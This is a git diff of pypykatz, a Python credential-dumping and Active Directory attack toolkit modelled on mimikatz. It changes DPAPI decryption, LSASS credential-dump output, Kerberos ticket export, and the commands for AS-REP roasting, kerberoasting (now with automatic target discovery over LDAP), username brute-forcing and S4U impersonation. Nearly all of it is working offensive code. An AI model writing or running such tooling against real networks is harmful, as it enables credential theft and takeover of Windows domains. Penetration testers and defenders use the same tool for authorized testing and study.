 from pypykatz.commons.win_datatypes import GUID
-from pypykatz.crypto.unified.pkcs7 import unpad
+from unicrypto.backends.pure.padding.pkcs7 import unpad
 
 
 class DPAPI_BLOB:
@@ -105,11 +105,11 @@ class DPAPI_BLOB:
 			derived_key = fixparity(derived_key)
 		
 		cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](derived_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]],
-					mode=ALGORITHMS_DATA[self.crypto_algorithm][2], iv=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3])
-		cleartext = unpad(cipher.decrypt(self.data), cipher.block_size)
+					mode=ALGORITHMS_DATA[self.crypto_algorithm][2], IV=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3])
+		cleartext = unpad(cipher.decrypt(self.data), ALGORITHMS_DATA[self.crypto_algorithm][3])
 		
 		# Calculate the different HMACKeys
-		hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][1]().block_size
+		hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][4]
 		key_hash_2 = key_hash + b"\x00"*hash_block_size
 		ipad = bytearray([i ^ 0x36 for i in bytearray(key_hash_2)][:hash_block_size])
 		opad = bytearray([i ^ 0x5c for i in bytearray(key_hash_2)][:hash_block_size])
diff --git a/pypykatz/dpapi/structures/credentialfile.py b/pypykatz/dpapi/structures/credentialfile.py
index bac351c..09b0dda 100644
--- a/pypykatz/dpapi/structures/credentialfile.py
+++ b/pypykatz/dpapi/structures/credentialfile.py
@@ -90,8 +90,16 @@ class CREDENTIAL_ATTRIBUTE:
 			else:
 				t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
 		return t
-		
-		
+
+class CREDBLOBTYPE(enum.Enum):
+	UNKNOWN = 0
+	GENERIC = 1
+	DOMAIN_PASSWORD = 2
+	DOMAIN_CERTIFICATE = 3
+	DOMAIN_VISIBLE_PASSWORD = 4
+	GENERIC_CERTIFICATE = 5
+	DOMAIN_EXTENDED = 6
+
 class CREDENTIAL_BLOB:
 	"""
 	"""
@@ -120,6 +128,7 @@ class CREDENTIAL_BLOB:
 		self.unknown4 = None
 		
 		self.attributes = []
+		self.type_pretty = None
 		
 		
 		
@@ -134,6 +143,10 @@ class CREDENTIAL_BLOB:
 		sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
 		sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
 		sk.type = int.from_bytes(buff.read(4), 'little', signed = False)
+		try:
+			sk.type_pretty = CREDBLOBTYPE(sk.type)
+		except:
+			sk.type_pretty = CREDBLOBTYPE.UNKNOWN
 		sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False)
 		sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False)
 		sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
@@ -181,6 +194,7 @@ class CREDENTIAL_BLOB:
 		
 	def to_text(self):	
 		t = ''
+		t += 'type : %s (%s)\r\n' % (self.type_pretty.name, self.type)
 		t += 'last_written : %s\r\n' %  self.last_written
 		if len(self.target) > 0:
 			t += 'target : %s\r\n' %  str(self.target)
diff --git a/pypykatz/dpapi/structures/masterkeyfile.py b/pypykatz/dpapi/structures/masterkeyfile.py
index 5204206..7f37f75 100644
--- a/pypykatz/dpapi/structures/masterkeyfile.py
+++ b/pypykatz/dpapi/structures/masterkeyfile.py
@@ -5,7 +5,6 @@
 #
 
 import io
-import enum
 import sys
 
 from pypykatz.dpapi.constants import *
@@ -127,7 +126,7 @@ class MasterKey:
 		#print('temp_key : %s' % temp_key)
 		crypt_key = temp_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]]
 		iv = temp_key[ALGORITHMS_DATA[self.crypto_algorithm][0]:][:ALGORITHMS_DATA[self.crypto_algorithm][3]]
-		cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], iv = iv)
+		cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], IV = iv)
 		
 		cleartext = cipher.decrypt(self.data)
 		key_dec = cleartext[-64:]
@@ -172,10 +171,10 @@ class MasterKeyFile:
 		self.credhist_length = None
 		self.domainkey_length = None
 		
-		self.masterkey = None
-		self.backupkey = None
-		self.credhist = None
-		self.domainkey = None
+		self.masterkey:MasterKey = None
+		self.backupkey:MasterKey = None
+		self.credhist:CredHist = None
+		self.domainkey:DomainKey = None
 	
 	@staticmethod
 	def from_bytes(data):
diff --git a/pypykatz/kerberos/cmdhelper.py b/pypykatz/kerberos/cmdhelper.py
index eb3833b..c240f03 100644
--- a/pypykatz/kerberos/cmdhelper.py
+++ b/pypykatz/kerberos/cmdhelper.py
@@ -4,6 +4,7 @@
 #  Tamas Jos (@skelsec)
 #
 
+import os
 import base64
 import platform
 import argparse
@@ -12,6 +13,7 @@ from pypykatz import logger
 import traceback
 
 from minikerberos.common.utils import print_table
+from minikerberos.protocol.asn1_structs import KRB_CRED
 from pypykatz.commons.filetime import filetime_to_dt
 from pypykatz.commons.common import geterr
 from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \
@@ -19,6 +21,11 @@ from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \
 	del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache
 
 from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi
+from msldap.commons.factory import LDAPConnectionFactory
+from minikerberos.common.spn import KerberosSPN
+from minikerberos.common.creds import KerberosCredential
+
+
 
 """
 Kerberos is not part of pypykatz directly. 
@@ -114,11 +121,13 @@ class KerberosCMDHelper:
 		tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user')
 		tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:Passw0rd!1@10.10.10.2"')
 		tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
+		tgt_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested')
 
 		tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user')
 		tgs_parser.add_argument('url', help='user credentials in URL format')
 		tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
 		tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
+		tgs_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested')
 
 		brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames')
 		brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
@@ -128,18 +137,20 @@ class KerberosCMDHelper:
 		brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
 
 		asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast')
+		asreproast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.')
 		asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
 		asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
 		asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
 		asreproast_parser.add_argument('address', help='Kerberos server IP/hostname')
-		asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
+		asreproast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
 
 		spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast')
+		spnroast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.')
 		spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
 		spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
 		spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
-		spnroast_parser.add_argument('url', help='user credentials in URL format')
-		spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
+		spnroast_parser.add_argument('url', help='user credentials in Kerberos URL format')
+		spnroast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
 
 		s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user')
 		s4u_parser.add_argument('url', help='user credentials in URL format')
@@ -248,8 +259,15 @@ class KerberosCMDHelper:
 			if args.outdir is not None:
 				for luid in tickets:
 					for ticket in tickets[luid]:
-						with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f:
+						try:
+							pt = KRB_CRED.load(ticket['Ticket']).native
+							name = '_'.join(pt['tickets'][0]['sname']['name-string'])
+							name = hex(int(luid)) + '_' + '@'.join([name, pt['tickets'][0]['realm']])
+						except:
+							name = hex(int(luid)) + '_' + os.urandom(4).hex()
+						with open(os.path.join(args.outdir, 'ticket_%s.kirbi' % name), 'wb') as f:
 							f.write(ticket['Ticket'])
+
 			else:
 				for luid in tickets:
 					if len(tickets[luid]) == 0:
@@ -261,10 +279,9 @@ class KerberosCMDHelper:
 		
 
 	def run(self, args):
-		#raise NotImplementedError('Platform independent kerberos not implemented!')
 
 		if args.kerberos_module == 'tgt':
-			kirbi, filename, err = asyncio.run(get_TGT(args.url))
+			kirbi, err = asyncio.run(get_TGT(args.url, override_etype = args.etype))
 			if err is not None:
 				print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err)
 				return
@@ -276,18 +293,16 @@ class KerberosCMDHelper:
 				print_kirbi(kirbi)
 
 		elif args.kerberos_module == 'tgs':
-			tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn))
+			tgs, encTGSRepPart, key, kirbi, err = asyncio.run(get_TGS(args.url, args.spn, override_etype = args.etype))
 			if err is not None:
 				print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err)
 				return
 
-
 			if args.out_file is not None:
-				pass
+				with open(args.out_file, 'wb') as f:
+					f.write(kirbi.dump())
 			else:
-				print(tgs)
-				print(encTGSRepPart)
-				print(key)
+				print_kirbi(kirbi)
 		
 		elif args.kerberos_module == 'brute':
 			target_spns = generate_targets(args.targets, args.domain)
@@ -297,24 +312,38 @@ class KerberosCMDHelper:
 				return
 
 		elif args.kerberos_module == 'asreproast':
-			target_spns = generate_targets(args.targets, args.domain, to_spn = False)
+			if args.ldap is None:
+				target_spns = generate_targets(args.targets, args.domain, to_spn = False)
+			else:
+				target_spns, _ = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'asrep'))
 			_, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype))
 			if err is not None:
-				print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err))
+				print('[KERBEROS][ASREPROAST] Error! Reason: %s' % geterr(err))
 				return
 
 		elif args.kerberos_module == 'spnroast':
-			target_spns = generate_targets(args.targets, args.domain, to_spn = True)
+			if args.ldap is None and args.targets is None:
+				raise Exception('Either LDAP URL or targets must be provided')
+			if args.ldap is None:
+				target_spns = generate_targets(args.targets, args.domain, to_spn = True)
+			else:
+				_, target_spns = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'spn'))
 			_, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype))
 			if err is not None:
-				print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err))
+				print('[KERBEROS][SPNROAST] Error! Reason: %s' % geterr(err))
 				return
 
 		elif args.kerberos_module == 's4u':
-			tgs, encTGSRepPart, key, err =  asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None))
+			tgs, encTGSRepPart, key, kirbi, err =  asyncio.run(s4u(args.url, args.spn, args.targetuser))
 			if err is not None:
-				print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err))
+				print('[KERBEROS][S4U] Error! Reason: %s' % geterr(err))
 				return
+			
+			if args.out_file is not None:
+				with open(args.out_file, 'wb') as f:
+					f.write(kirbi.dump())
+			else:
+				print_kirbi(kirbi)
 
 		elif args.kerberos_module == 'keytab':
 			process_keytab(args.keytabfile)
@@ -333,4 +362,51 @@ class KerberosCMDHelper:
 		
 		elif args.kerberos_module == 'kirbi':
 			if args.kirbi_module == 'parse':
-				parse_kirbi(args.kirbifile)
\ No newline at end of file
+				parse_kirbi(args.kirbifile)
+
+
+def get_ldap_url(authmethod = 'ntlm', host = None):
+	from winacl.functions.highlevel import get_logon_info
+	info = get_logon_info()
+
+	logonserver = info['logonserver']
+	if host is not None:
+		logonserver = host
+
+	return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver)
+
+async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None):
+	if ldap_url == 'auto':
+		ldap_url = get_ldap_url(authmethod = authmethod, host = host)
+	
+	msldap_url = LDAPConnectionFactory.from_url(ldap_url)
+	client = msldap_url.get_client()
+	_, err = await client.connect()
+	if err is not None:
+		raise err
+
+	domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
+	spn_users = []
+	asrep_users = []
+
+	if target_type == 'asrep' or target_type == 'all':
+		async for user, err in client.get_all_knoreq_users():
+			if err is not None:
+				raise err
+			cred = KerberosCredential()
+			cred.username = user.sAMAccountName
+			cred.domain = domain
+				
+			asrep_users.append(cred)
+	
+	if target_type == 'spn' or target_type == 'all':
+		async for user, err in client.get_all_service_users():
+			if err is not None:
+				raise err
+			cred = KerberosSPN()
+			cred.username = user.sAMAccountName
+			cred.domain = domain
+				
+			spn_users.append(cred)
+	
+	return asrep_users, spn_users
\ No newline at end of file
diff --git a/pypykatz/kerberos/kerberos.py b/pypykatz/kerberos/kerberos.py
index 5e3d30d..d252292 100644
--- a/pypykatz/kerberos/kerberos.py
+++ b/pypykatz/kerberos/kerberos.py
@@ -1,27 +1,19 @@
 
-from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi
 from pypykatz import logger
 import os
 import ntpath
 import glob
-import pprint
-import platform
-import datetime
-
-from msldap.commons.url import MSLDAPURLDecoder
 
 from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast
-from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN
-from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
+from minikerberos.common.url import KerberosClientURL
 from minikerberos.common.spn import KerberosSPN
 from minikerberos.common.creds import KerberosCredential
 from minikerberos.common.target import KerberosTarget
 from minikerberos.common.keytab import Keytab
 from minikerberos.aioclient import AIOKerberosClient
-from minikerberos.common.utils import TGSTicket2hashcat
-from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart
 from minikerberos.common.utils import print_table
 from minikerberos.common.ccache import CCACHE, Credential
+from minikerberos.common.utils import tgt_to_kirbi
 
 
 def process_target_line(target, realm = None, to_spn = True):
@@ -131,9 +123,12 @@ def kirbi_to_ccache(ccachefile, kirbi):
 	
 	cc.to_file(ccachefile)
 
-async def get_TGS(url, spn, out_file = None):
+async def get_TGS(url, spn, out_file = None, override_etype = None):
 	try:
 		logger.debug('[KERBEROS][TGS] started')
+		if isinstance(override_etype, int):
+			override_etype = [override_etype]
+
 		ku = KerberosClientURL.from_url(url)
 		cred = ku.get_creds()
 		target = ku.get_target()
@@ -144,18 +139,24 @@ async def get_TGS(url, spn, out_file = None):
 		kcomm = AIOKerberosClient(cred, target)
 		await kcomm.get_TGT()
 		logger.debug('[KERBEROS][TGS] fetching TGS')
-		tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)
+		tgs, encTGSRepPart, key = await kcomm.get_TGS(spn, override_etype=override_etype)
+
+		kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
 			
 		if out_file is not None:
-			kcomm.ccache.to_file(out_file)
+			with open(out_file, 'wb') as f:
+				f.write(kirbi.dump())
+
 		logger.debug('[KERBEROS][TGS] done!')
-		return tgs, encTGSRepPart, key, None
+		return tgs, encTGSRepPart, key, kirbi, None
 	except Exception as e:
-		return None, None, None, e
+		return None, None, None, None, e
 
-async def get_TGT(url):
+async def get_TGT(url, override_etype = None):
 	try:
 		logger.debug('[KERBEROS][TGT] started')
+		if isinstance(override_etype, int):
+			override_etype = [override_etype]
 		ku = KerberosClientURL.from_url(url)
 		cred = ku.get_creds()
 		target = ku.get_target()
@@ -165,14 +166,13 @@ async def get_TGT(url):
 
 		kcomm = AIOKerberosClient(cred, target)
 		logger.debug('[KERBEROS][TGT] fetching TGT')
-		await kcomm.get_TGT()
-
-		cred = kcomm.ccache.credentials[0]
-		kirbi, filename = cred.to_kirbi()
+		await kcomm.get_TGT(override_etype=override_etype)
 		
-		return kirbi, filename, None
+		kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart)
+
+		return kirbi, None
 	except Exception as e:
-		return None, None, e
+		return None, e
 
 async def brute(host, targets, out_file = None, show_negatives = False):
 	"""
@@ -270,7 +270,7 @@ async def spnroast(url, targets, out_file = None, etype = 23):
 	except Exception as e:
 		return None, e
 
-async def s4u(url, spn, targetuser, out_file = None):
+async def s4u(url, spn, targetuser):
 	try:
 		logger.debug('[KERBEROS][S4U] Started')
 		cu = KerberosClientURL.from_url(url)
@@ -285,7 +285,8 @@ async def s4u(url, spn, targetuser, out_file = None):
 			client = AIOKerberosClient(ccred, target)
 			await client.get_TGT()
 			logger.debug('[KERBEROS][S4U] Getting ST')
-			tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
+			res = await client.getST(target_user, service_spn)
+			tgs, encTGSRepPart, key = res
 		else:
 			logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
 			for tgt, key in ccred.ccache.get_all_tgt():
@@ -293,7 +294,8 @@ async def s4u(url, spn, targetuser, out_file = None):
 					logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
 					client = AIOKerberosClient.from_tgt(target, tgt, key)
 
-					tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
+					res = await client.getST(target_user, service_spn)
+					tgs, encTGSRepPart, key = res
 					logger.debug('[KERBEROS][S4U] Sucsess!')
 				except Exception as e:
 					logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e)
@@ -301,11 +303,9 @@ async def s4u(url, spn, targetuser, out_file = None):
 				else:
 					break
 
-		if out_file:
-			client.ccache.to_file(out_file)
-
 		logger.debug('[KERBEROS][S4U] Done!')
-		return tgs, encTGSRepPart, key, None
+		kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
+		return tgs, encTGSRepPart, key, kirbi, None
 
 	except Exception as e:
-		return None, None, None, e
+		return None, None, None, None, e
diff --git a/pypykatz/kerberos/kerberoslive.py b/pypykatz/kerberos/kerberoslive.py
index 6a784b8..fa77f2c 100644
--- a/pypykatz/kerberos/kerberoslive.py
+++ b/pypykatz/kerberos/kerberoslive.py
@@ -2,7 +2,7 @@
 import datetime
 
 from winacl.functions.highlevel import get_logon_info
-from msldap.commons.url import MSLDAPURLDecoder
+from msldap.commons.factory import LDAPConnectionFactory
 from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken
 from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
 from minikerberos.network.clientsocket import KerberosClientSocket
@@ -171,7 +171,7 @@ class KerberosLive:
 		token_handle = OpenProcessToken(process_handle)
 		stats = GetTokenInformation_tokenstatistics(token_handle)
 		CloseHandle(process_handle)
-		return stats['TokenId']
+		return stats['AuthenticationId']
 
 	def list_luids(self):
 		self.available_luids = LsaEnumerateLogonSessions()
@@ -291,7 +291,7 @@ async def live_roast(outfile = None):
 		logon = get_logon_info()
 		domain = logon['domain']
 		url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
-		msldap_url = MSLDAPURLDecoder(url)
+		msldap_url = LDAPConnectionFactory.from_url(url)
 		client = msldap_url.get_client()
 		_, err = await client.connect()
 		if err is not None:
diff --git a/pypykatz/ldap/cmdhelper.py b/pypykatz/ldap/cmdhelper.py
index d7a4b5d..ca0b1d5 100644
--- a/pypykatz/ldap/cmdhelper.py
+++ b/pypykatz/ldap/cmdhelper.py
@@ -6,6 +6,8 @@
 
 from pypykatz import logger
 import asyncio
+import argparse
+import logging
 
 """
 LDAP is not part of pypykatz directly. 
@@ -28,16 +30,30 @@ class LDAPCMDHelper:
 		self.keywords = ['ldap']
 		
 	def add_args(self, parser, live_parser):
-		group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
-		group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
-		group.add_argument('url', help="LDAP connection string")
-		group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
+		ldap_group = parser.add_parser('ldap', help='LDAP related commands')
+		ldap_subparsers = ldap_group.add_subparsers()
+		ldap_subparsers.required = True
+		ldap_subparsers.dest = 'ldap_module'
 		
-		live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
-		live_group.add_argument('--host', help= 'Specify a custom logon server.')
-		live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
-		live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
-		live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
+		ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
+		ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
+		ldap_client_group.add_argument('url', help="LDAP connection string")
+		ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
+		
+
+		live_subcommand_parser = argparse.ArgumentParser(add_help=False)                                                                                                  
+		live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.')
+		live_ldap_subparsers.required = True
+		live_ldap_subparsers.dest = 'liveldapcommand'
+
+		live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
+		live_client_parser.add_argument('--host', help= 'Specify a custom logon server.')
+		live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
+		live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
+		live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
+
+		live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser])
+
 
 	def execute(self, args):
 		if args.command in self.keywords:
@@ -48,6 +64,7 @@ class LDAPCMDHelper:
 			
 			
 	def run_live(self, args):
+		from msldap import logger as ldaplogger
 		from msldap.examples.msldapclient import amain
 		from winacl.functions.highlevel import get_logon_info
 		info = get_logon_info()
@@ -56,39 +73,52 @@ class LDAPCMDHelper:
 		if args.host is not None:
 			logonserver = args.host
 
-		la = LDAPCMDArgs()
-		la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
-		la.verbose = args.verbose
-
-		if args.verbose > 1:
-			print('Using the following auto-generated URL: %s' % la.url)
-		if args.commands is not None and len(args.commands) > 0:
-			la.commands = []
-			if args.commands[0] == 'help':
-				la.commands = ['help']
-			else:
-				if args.commands[0] != 'login':
-					la.commands.append('login')
-				
-				for command in args.commands:
-					la.commands.append(command)
-
-		asyncio.run(amain(la))
+		ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
+
+		if args.verbose == 0:
+			ldaplogger.setLevel(100)
+		elif args.verbose == 1:
+			print('Using the following auto-generated URL: %s' % ldap_url)
+			ldaplogger.setLevel(level=logging.INFO)
+		else:
+			level = 5 - args.verbose
+			ldaplogger.setLevel(level=level)
+
+		if args.liveldapcommand == 'client':
+			la = LDAPCMDArgs()
+			la.url = ldap_url
+			la.verbose = args.verbose
+
+			if args.commands is not None and len(args.commands) > 0:
+				la.commands = []
+				if args.commands[0] == 'help':
+					la.commands = ['help']
+				else:
+					if args.commands[0] != 'login':
+						la.commands.append('login')
+					
+					for command in args.commands:
+						la.commands.append(command)
+
+			asyncio.run(amain(la))
+		
 			
 	def run(self, args):
 		from msldap.examples.msldapclient import amain
-		la = LDAPCMDArgs()
-		la.url = args.url
-		la.verbose = args.verbose
-		if args.commands is not None and len(args.commands) > 0:
-			la.commands = []
-			if args.commands[0] == 'help':
-				la.commands = ['help']
-			else:
-				if args.commands[0] != 'login':
-					la.commands.append('login')
-				
-				for command in args.commands:
-					la.commands.append(command)
-
-		asyncio.run(amain(la))
+
+		if args.ldap_module == 'client':
+			la = LDAPCMDArgs()
+			la.url = args.url
+			la.verbose = args.verbose
+			if args.commands is not None and len(args.commands) > 0:
+				la.commands = []
+				if args.commands[0] == 'help':
+					la.commands = ['help']
+				else:
+					if args.commands[0] != 'login':
+						la.commands.append('login')
+					
+					for command in args.commands:
+						la.commands.append(command)
+
+			asyncio.run(amain(la))
diff --git a/pypykatz/lsadecryptor/cmdhelper.py b/pypykatz/lsadecryptor/cmdhelper.py
index 77d4d16..5afd828 100644
--- a/pypykatz/lsadecryptor/cmdhelper.py
+++ b/pypykatz/lsadecryptor/cmdhelper.py
@@ -11,7 +11,7 @@ import ntpath
 import traceback
 import base64
 
-from pypykatz import logging
+from pypykatz import logger
 from pypykatz.pypykatz import pypykatz
 from pypykatz.commons.common import UniversalEncoder
 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
@@ -60,7 +60,7 @@ class LSACMDHelper:
 				json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
 
 		elif args.outfile and args.grep:
-			with open(args.outfile, 'w', newline = '') as f:
+			with open(args.outfile, 'w', newline = '', errors='replace') as f:
 				f.write(':'.join(LogonSession.grep_header) + '\r\n')
 				for result in results:
 					for luid in results[result].logon_sessions:
@@ -68,7 +68,7 @@ class LSACMDHelper:
 							f.write(':'.join(row) + '\r\n')
 		
 		elif args.outfile:
-			with open(args.outfile, 'w') as f:
+			with open(args.outfile, 'w', errors='replace') as f:
 				for result in results:
 					f.write('FILE: ======== %s =======\n' % result)
 					
@@ -89,26 +89,37 @@ class LSACMDHelper:
 			print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
 		
 		elif args.grep:
-			print(':'.join(LogonSession.grep_header))
+			if hasattr(args, 'directory') and args.directory is not None:
+				print(':'.join(['filename'] + LogonSession.grep_header))
+			else:
+				print(':'.join(LogonSession.grep_header))
 			for result in results:
 				for luid in results[result].logon_sessions:
 					for row in results[result].logon_sessions[luid].to_grep_rows():
+						if hasattr(args, 'directory') and args.directory is not None:
+							row = [result] + row
 						print(':'.join(row))
 				for cred in results[result].orphaned_creds:
 					t = cred.to_dict()
 					if t['credtype'] != 'dpapi':
 						if t['password'] is not None:
 							x =  [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
+							if hasattr(args, 'directory') and args.directory is not None:
+								x = [result] + x
 							print(':'.join(x))
 					else:
 						t = cred.to_dict()
 						x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
+						if hasattr(args, 'directory') and args.directory is not None:
+							x = [result] + x
 						print(':'.join(x))
 				
 				for pkg, err in results[result].errors:
 					err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
 					err_str = base64.b64encode(err_str.encode()).decode()
 					x =  [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
+					if hasattr(args, 'directory') and args.directory is not None:
+						x = [result] + x
 					print(':'.join(x) + '\r\n')
 		else:
 			for result in results:
@@ -128,6 +139,7 @@ class LSACMDHelper:
 						print('== Errors ==')
 						for pkg, err in results[result].errors:
 							err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
+							logger.debug(err_str)
 							err_str = base64.b64encode(err_str.encode()).decode()
 							print('%s %s' % (pkg+'_exception_please_report',err_str))
 							
@@ -141,7 +153,7 @@ class LSACMDHelper:
 		
 		if args.kerberos_dir:
 			dir = os.path.abspath(args.kerberos_dir)
-			logging.info('Writing kerberos tickets to %s' % dir)
+			logger.info('Writing kerberos tickets to %s' % dir)
 			for filename in results:
 				base_filename = ntpath.basename(filename)
 				ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
@@ -204,9 +216,9 @@ class LSACMDHelper:
 				else:	
 					globdata = os.path.join(dir_fullpath, file_pattern)
 					
-				logging.info('Parsing folder %s' % dir_fullpath)
+				logger.info('Parsing folder %s' % dir_fullpath)
 				for filename in glob.glob(globdata, recursive=args.recursive):
-					logging.info('Parsing file %s' % filename)
